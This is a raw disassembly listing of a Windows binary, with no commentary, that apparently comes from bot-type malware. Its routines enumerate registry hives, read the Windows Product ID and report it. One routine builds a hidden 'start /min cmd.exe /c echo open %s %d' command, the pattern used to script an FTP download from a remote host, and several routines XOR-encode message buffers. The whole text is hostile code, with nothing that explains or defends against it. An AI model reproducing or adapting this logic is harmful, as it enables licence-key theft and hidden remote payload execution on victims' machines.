		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436BF4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B6F+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436BF4:				; CODE XREF: sub_4369E0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436CDC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_448B64
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436CDC:				; CODE XREF: sub_4369E0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2900000h
		nop
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436DC4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436DC4:				; CODE XREF: sub_4369E0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017EE
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_436EAD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436EAD:				; CODE XREF: sub_4369E0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_436F51
; ---------------------------------------------------------------------------


loc_436EB7:				; CODE XREF: sub_4369E0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436F57
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 29301A3h
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jnz	short loc_436F4C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436F4C:				; CODE XREF: sub_4369E0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_436F51:				; CODE XREF: sub_4369E0+4D2j
		nop
		call	near ptr 2900000h


loc_436F57:				; CODE XREF: sub_4369E0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4369E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4370F0	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_43710D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_437103:				; CODE XREF: sub_4370F0+1Bj
		cmp	[eax+edx], cl
		jz	short loc_437111
		inc	eax
		cmp	eax, esi
		jl	short loc_437103


loc_43710D:				; CODE XREF: sub_4370F0+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_437111:				; CODE XREF: sub_4370F0+16j
		pop	esi
		mov	al, 1
		retn
sub_4370F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437130:				; CODE XREF: ___:00401433j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		call	near ptr 71AB2B66h
		nop
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_4371EC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4371EC:				; CODE XREF: ___:004371E3j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43722E:				; CODE XREF: ___:004372A7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4372A9


loc_43726E:				; CODE XREF: ___:0043723Cj
					; ___:0043724Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4372A0


loc_437293:				; CODE XREF: ___:0043729Ej
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437293


loc_4372A0:				; CODE XREF: ___:00437291j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43722E
; ---------------------------------------------------------------------------


loc_4372A9:				; CODE XREF: ___:0043726Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437390:				; CODE XREF: ___:00401D75j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_437442
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_437442:				; CODE XREF: ___:00437439j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437484:				; CODE XREF: ___:004374FDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4374FF


loc_4374C4:				; CODE XREF: ___:00437492j
					; ___:004374A2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4374F6


loc_4374E9:				; CODE XREF: ___:004374F4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4374E9


loc_4374F6:				; CODE XREF: ___:004374E7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_437484
; ---------------------------------------------------------------------------


loc_4374FF:				; CODE XREF: ___:004374C2j
		mov	eax, [esp+28h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4375F0:				; CODE XREF: ___:00401FFFj
		mov	eax, 200Ch
		call	sub_437B30
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	sub_5F76F7
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_4376F2
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4376F2:				; CODE XREF: ___:004376E9j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437734:				; CODE XREF: ___:004377ADj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4377AF


loc_437774:				; CODE XREF: ___:00437742j
					; ___:00437752j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4377A6


loc_437799:				; CODE XREF: ___:004377A4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437799


loc_4377A6:				; CODE XREF: ___:00437797j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_437734
; ---------------------------------------------------------------------------


loc_4377AF:				; CODE XREF: ___:00437772j
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4378B0:				; CODE XREF: ___:0040191Fj
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43792D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43792D:				; CODE XREF: ___:00437924j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43796F:				; CODE XREF: ___:004379E8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4379EA


loc_4379AF:				; CODE XREF: ___:0043797Dj
					; ___:0043798Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4379E1


loc_4379D4:				; CODE XREF: ___:004379DFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4379D4


loc_4379E1:				; CODE XREF: ___:004379D2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43796F
; ---------------------------------------------------------------------------


loc_4379EA:				; CODE XREF: ___:004379ADj
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437AB8	proc near		; CODE XREF: SEH_403530+5j
					; SEH_403720+5j ...
		jmp	near ptr 77C227FAh
sub_437AB8	endp

; ---------------------------------------------------------------------------
		db 0B3h, 2 dup(0CCh)
byte_437AC0	db 90h			; DATA XREF: ___:off_43F004o
					; ___:0043F018o ...
		db 0E9h, 47h, 0E4h
		dd 0E990777Fh, 777E444Ch, 18F5E990h
; ---------------------------------------------------------------------------
		jg	short loc_437B49

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AD2	proc near		; CODE XREF: ___:00406C30p
					; sub_406C50+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_437AD2	endp

; ---------------------------------------------------------------------------
		dd 80FFB3E9h, 7DE90C77h, 0AE778101h, 8101FCE9h
; ---------------------------------------------------------------------------
		ja	short loc_437B65

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AEA	proc near		; CODE XREF: sub_406C80+47p
					; ___:00406D1Ap ...
		nop
		jmp	near ptr 77C29CC5h
sub_437AEA	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0F1h, 99h
		db 7Eh,	77h, 8Bh
; ---------------------------------------------------------------------------


loc_437AF7:				; CODE XREF: ___:loc_437B65j
		rol	edi, 0
		aam	0F1h
		inc	ebx
		add	dl, al
		add	al, 0


loc_437B01:				; DATA XREF: ___:off_43F1D4o
		push	esi
		mov	esi, ecx
		call	sub_437EBC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_437B17
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx


loc_437B17:				; CODE XREF: ___:00437B0Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437B22	proc near		; CODE XREF: sub_409660+4Dp
					; ___:0040AA7Dp
		nop
		jmp	near ptr 77C226F6h
sub_437B22	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 5Ch, 84h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_437B30	proc near		; CODE XREF: sub_40A110+5p
					; sub_410030+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_437B50


loc_437B3C:				; CODE XREF: sub_437B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax


loc_437B49:				; CODE XREF: ___:00437AD0j
		cmp	eax, 1000h
		jnb	short loc_437B3C


loc_437B50:				; CODE XREF: sub_437B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_437B30	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 90h
		db 0E9h, 2 dup(0FAh)
		db 80h
; ---------------------------------------------------------------------------


loc_437B65:				; CODE XREF: ___:00437AE8j
		ja	short loc_437AF7
		jmp	near ptr 77C1CF90h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 4, 7Fh
		dd 0D9E97780h, 27780FEh, 2300E990h, 9DE97780h, 957780FDh
		dd 487DE990h, 3D83777Fh, 5109B4h, 0FF0C75FFh, 90042474h
		dd 7FD25BE8h, 68C35977h, 5109A4h, 5109B468h, 2474FF00h
